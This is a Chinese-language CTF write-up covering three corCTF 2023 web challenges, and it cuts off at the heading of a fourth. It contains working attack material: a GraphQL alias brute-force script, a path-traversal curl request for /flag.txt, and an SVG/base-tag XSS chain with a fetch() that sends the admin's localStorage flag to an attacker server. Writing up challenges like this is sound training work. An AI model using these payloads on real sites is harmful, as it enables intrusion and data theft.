force | 118 solves / 124 points
代码语言:javascript复制Welcome to Frogshare, the hoppiest place to share your beloved amphibians with fellow frog fanatics! But hold on to your lily pads, our admin reviews your content before its published… Please inform our admin once you shared a frog: Admin Bot
import fastify from 'fastify'
import mercurius from 'mercurius'
import { randomInt } from 'crypto'
import { readFile } from 'fs/promises'
const app = fastify({
logger: true
});
const index = await readFile('./index.html', 'utf-8');
const secret = randomInt(0, 10 ** 5); // 1 in a 100k??
let requests = 10;
setInterval(() => requests = 10, 60000);
await app.register(mercurius, {
schema: `type Query {
flag(pin: Int): String
}`,
resolvers: {
Query: {
flag: (_, { pin }) => {
if (pin != secret) {
return 'Wrong!';
}
return process.env.FLAG || 'corctf{test}';
}
}
},
routes: false
});
app.get('/', (req, res) => {
return res.header('Content-Type', 'text/html').send(index);
});
app.post('/', async (req, res) => {
if (requests <= 0) {
return res.send('no u')
}
requests --;
return res.graphql(req.body);
});
app.listen({ host: '0.0.0.0', port: 80 });
简单审计一下,发现就是获取PIN值,但PIN值是随机生成的,无法预测。
而且蛮力爆破也不可行,setInterval(() => requests = 10, 60000);
使用 setInterval
函数,每隔 60000 毫秒(即每分钟)将 requests
的值重置为 10,也就是每分钟可以处理的请求数量。
那怎么办呢,那就从GraphQL下手吧,既然不能产生大量请求,那能不能一个请求包含很多很多查询呢?
答案是可以的,GraphQL允许使用别名编写相同类型的多个查询。
那么就可以一次请求10^4个查询,这样就能满足60秒最多10次查询的限制了
代码语言:javascript复制import requests
url = 'https://web-force-force-ec1d52a6037008bc.be.ax/'
for j in range(10):
payload = "{"
for i in range(10000):
x = j * 10000 i
payload = f"x{x}:flag(pin:{x}),"
payload = "}"
print(requests.post(url, data=payload, headers={'Content-Type':'text/plain;charset=UTF-8'}).text)
msfrognymize | 64 solves / 147 points
代码语言:javascript复制At CoR we care greatly about privacy (especially FizzBuzz). For this reason we anonymize any selfies before sharing them on Discord. We even encrypt the metadata using a special key!
import os
import piexif
import tempfile
import uuid
from PIL import Image, ExifTags
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, hmac
from flask import Flask, request, send_file, render_template
from urllib.parse import unquote
from werkzeug.utils import secure_filename
from celery_config import celery_app
from tasks import process_image
app = Flask(__name__)
celery_app.conf.update(app.config)
UPLOAD_FOLDER = 'uploads/'
ENCRYPTION_KEY = open("/flag.txt", "rb").readline()
def hmac_sha256(data):
h = hmac.HMAC(ENCRYPTION_KEY, hashes.SHA256(), backend=default_backend())
h.update(data)
return h.finalize().hex()
def encrypt_exif_data(exif_data):
new_exif_data = {}
for tag, value in exif_data.items():
if tag in ExifTags.TAGS:
tag_name = ExifTags.TAGS[tag]
if tag_name == "Orientation":
new_exif_data[tag] = 1
else:
new_exif_data[tag] = value
else:
new_exif_data[tag] = hmac_sha256(value)
return new_exif_data
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files['file']
if file:
try:
img = Image.open(file)
if img.format != "JPEG":
return "Please upload a valid JPEG image.", 400
exif_data = img._getexif()
encrypted_exif = None
if exif_data:
encrypted_exif = piexif.dump(encrypt_exif_data(exif_data))
filename = secure_filename(file.filename)
temp_path = os.path.join(tempfile.gettempdir(), filename)
img.save(temp_path)
unique_id = str(uuid.uuid4())
new_file_path = os.path.join(UPLOAD_FOLDER, f"{unique_id}.png")
process_image.apply_async(args=[temp_path, new_file_path, encrypted_exif])
return render_template("processing.html", image_url=f"/anonymized/{unique_id}.png")
except Exception as e:
return f"Error: {e}", 400
return render_template("index.html")
@app.route('/anonymized/<image_file>')
def serve_image(image_file):
file_path = os.path.join(UPLOAD_FOLDER, unquote(image_file))
if ".." in file_path or not os.path.exists(file_path):
return f"Image {file_path} cannot be found.", 404
return send_file(file_path, mimetype='image/png')
if __name__ == '__main__':
app.run()
/anonymized/<image_file>
路由的os.path.join()
函数存在绝对路径拼接漏洞,类似于[NISACTF 2022]babyupload
绝对路径拼接漏洞 os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。 然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
因此image_file经url解码后为/flag.txt时,uploads/与其路径拼接,那么uploads/ 将被删除,读取到的就是根目录下的 flag.txt 文件。
代码语言:javascript复制curl https://msfrognymize.be.ax/anonymized/%2fflag.txt
frogshare | 33 solves / 193 points
Welcome to Frogshare, the hoppiest place to share your beloved amphibians with fellow frog fanatics! But hold on to your lily pads, our admin reviews your content before its published… Please inform our admin once you shared a frog: Admin Bot
首先有一个注册登录界面,然后可以发布自己的共享青蛙,既然给了Admin Bot,那想必是客户端漏洞了
先看看共享青蛙是如何被渲染的叭
代码语言:javascript复制// Frog.js
import { useMemo, memo } from "react";
import "external-svg-loader";
import { Tooltip } from "react-tooltip";
import useIsMounted from "@/hooks/useIsMounted";
const Frog = memo(({ frog }) => {
const { isMounted } = useIsMounted();
const { name, img, creator } = frog;
const svgProps = useMemo(() => {
try {
return JSON.parse(frog.svgProps);
} catch {
return null;
}
}, [frog.svgProps]);
if (!isMounted) return null;
return (
<>
<div
className="flex flex-col bg-white p-8 rounded-xl shadow-md text-center h-[169px] w-[169px] mr-4 mb-4 relative"
data-tooltip-id="frog-tooltip"
data-tooltip-content={`By ${creator}`}
>
<div className="flex justify-center w-full h-[64px]">
<svg data-src={img} {...svgProps} />
</div>
<div className="text-lg">{name}</div>
</div>
<Tooltip id="frog-tooltip" />
</>
);
});
Frog.displayName = "Frog";
export default Frog;
这里会使用external-svg-loader将来自外部源的 SVG使用 <img>
标签呈现,svg文件可控会不会存在XSS的可能呢
Note: Because SVG Loader fetches file using XHRs, it’s limited by CORS policies of the browser. So you need to ensure that correct
Access-Control-Allow-Origin
headers are sent with the file being served or that the files are hosted on your own domain. 注意:由于 SVG 加载程序使用 XHR 获取文件,因此它受到浏览器的 CORS 策略的限制。因此,您需要确保随要提供的文件一起发送正确的Access-Control-Allow-Origin
标头,或者文件托管在您自己的域中
CORS需要后端应用进行配置,因此,这是一种后端跨域的配置方式,这种方式很容易理解,一个陌生的请求来访问你的服务器,自然需要进行授权。为了解决CORS问题,这里不能简单的用python -m http.server 8080
托管可控 svg 文件,而可以通过 flask 的 flask-cors 解决跨域问题
#!/usr/bin/env python3
from flask import Flask, send_file
from flask_cors import CORS
app = Flask(__name__)
# Access-Control-Allow-Origin: *
CORS(app)
@app.route('/payload')
def serveSvgPayload():
svgPayloadFile = 'payload.svg'
return send_file(svgPayloadFile)
if __name__ == '__main__':
app.run(port=80, debug=True)
继续,那么什么样的 svg 文件才能包含并执行恶意 javascript 代码呢,这里可以参考PayloadsAllTheThings
代码语言:javascript复制<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
代码语言:javascript复制<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
但在 external-svg-loader 的官方文档中指出
SVG format supports scripting. However, for security reasons, svg-loader will strip all JS code before injecting the SVG file. You can enable it by: SVG 格式支持脚本。但是,出于安全原因,svg-loader 将在注入 SVG 文件之前剥离所有 JS 代码。
因此第一个和第二个 payload 都无法使用,然而第二个payload里面有个有趣的东西<foreignObject></foreignObject>
“<foreignObject>
SVG 元素包含来自不同 XML 命名空间的元素。”。 这意味着 SVG 可以从其他命名空间加载附加标签(当然浏览器必须支持该命名空间)。 因此,可以通过 XHTML 命名空间在 SVG 中加载 HTML 标签。 通过指定 XHTML 命名空间,iframe 标记及其 srcdoc 属性再次可用。 现在,这允许在 iframe srcdoc 属性内包含一个脚本标签,该属性通过 data: 协议加载脚本。 由于通过 SVG use 标签加载的 SVG 文档被视为同源,尽管正在使用 data: 协议处理程序,但 iframe 及其 srcdoc 文档也被视为同源。
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="1000" height="1000">
<foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml">
<iframe xmlns="http://www.w3.org/1999/xhtml"
srcdoc="<script
src='data:text/javascript,parent.postMessage("a", "*")'
></script>" /></foreignObject></svg>
该解决方案仅适用于Firefox,因为Google Chrome在SVG使用标签的上下文中不支持foreignObject标签。
Note: By default, external-svg-loader will cache the fetched files for 30 days. To refresh the cache, we can provide any GET parameter. 注意:默认情况下,外部 svg 加载器会将获取的文件缓存 30 天。要刷新缓存,我们可以提供任何 GET 参数。
这样还不完整,因为该程序中还存在 CSP (内容安全策略),我们需要绕过 CSP 来执行恶意 js 代码
在自己的共享青蛙页面Ctrl U查看源码即可发现
代码语言:javascript复制<meta http-equiv="Content-Security-Policy" content="script-src 'strict-dynamic' 'sha256-S6RzhGqWeVNc7x9c5lIdmBeA7qDgLp3Z3agd3eBNMA8=' 'unsafe-inline' http: https:;" slug="/"/>
也就是
代码语言:javascript复制<meta http-equiv="Content-Security-Policy" content="script-src 'strict-dynamic' 'sha256-S6RzhGqWeVNc7x9c5lIdmBeA7qDgLp3Z3agd3eBNMA8=' 'unsafe-inline' http: https:;" slug="/"/>
将CSP内容复制到CSP Evaluator里面,就可以获得两个高危发现
object-src
- Missing object-src allows the injection of plugins which can execute JavaScript. Can you set it to ‘none’?
base-uri
- Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to ‘none’ or ‘self’?
这里就可以滥用base-uri来执行Dangling Markup - HTML scriptless injection。
此外,如果页面使用相对路径(如 /js/app.js )加载脚本,则可以滥用基本标记使其从您自己的服务器加载脚本,从而实现XSS。 如果易受攻击的页面加载了 httpS,请在基中使用 httpS URL。
代码语言:javascript复制<base href="https://www.attacker.com/">
在自己的共享青蛙页面F12查看元素可以发现导入了/_next/static/chunks/pages/index-3228b8a1fcea6589.js
,所以我们可以通过 SVG 注入一个 <base>
标签,并让这个 JavaScript 文件从我们可控的 Web 服务器导入,有点类似dll劫持了
#!/usr/bin/env python3
from flask import Flask, send_file
from flask_cors import CORS
app = Flask(__name__)
# Access-Control-Allow-Origin: *
CORS(app)
@app.route('/payload')
def serveSvgPayload():
svgPayloadFile = 'payload.svg'
return send_file(svgPayloadFile)
@app.route('/_next/static/chunks/pages/index-3228b8a1fcea6589.js')
def abuseBaseSrc():
javaScriptFile = 'payload.js'
return send_file(javaScriptFile)
if __name__ == '__main__':
app.run(port=80, debug=True)
在 adminbot.js 里面可以看到flag的位置
代码语言:javascript复制import secrets from './secrets';
const username = "admin";
const { flag, password } = secrets;
export default {
id: 'frogshare',
name: 'frogshare',
timeout: 20000,
handler: async (url, ctx) => {
const page = await ctx.newPage();
await page.goto("https://frogshare.be.ax/login", { waitUntil: 'load' });
await page.evaluate((flag) => {
localStorage.setItem("flag", flag);
}, flag);
await page.type("input[name=username]", username);
await page.type("input[name=password]", password);
await Promise.all([
page.waitForNavigation(),
page.click("input[type=submit]")
]);
/* No idea why the f this is required :| */
await page.goto("https://frogshare.be.ax/frogs?wtf=nextjs", { timeout: 5000, waitUntil: 'networkidle0' });
await page.waitForTimeout(2000);
await page.goto(url, { timeout: 5000, waitUntil: 'networkidle0' });
await page.waitForTimeout(5000);
},
}
那么 payload.js 内容为fetch('https://<your_server>/flag?c=' localStorage.getItem('flag'));
但共享青蛙页面必须刷新才能触发 JavaScript 执行,于是需要修改恶意 svg 内容,两秒后会重定向到指定恶意页面
代码语言:javascript复制<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<foreignObject>
<base href="https://www.attacker.com">
<meta http-equiv="refresh" content="2;url=https://frogshare.be.ax/frogs/59">
</foreignObject>
</svg>
修改共享青蛙 svg 为我们恶意服务器即可从服务器日志中获取到corctf{M1nd_Th3_Pr0p_spR34d1ng_XSS_ThR34t}
参考链接:https://siunam321.github.io/ctf/corCTF-2023/web/frogshare/
crabspace | 4 solves / 436 points
Now that Twitter is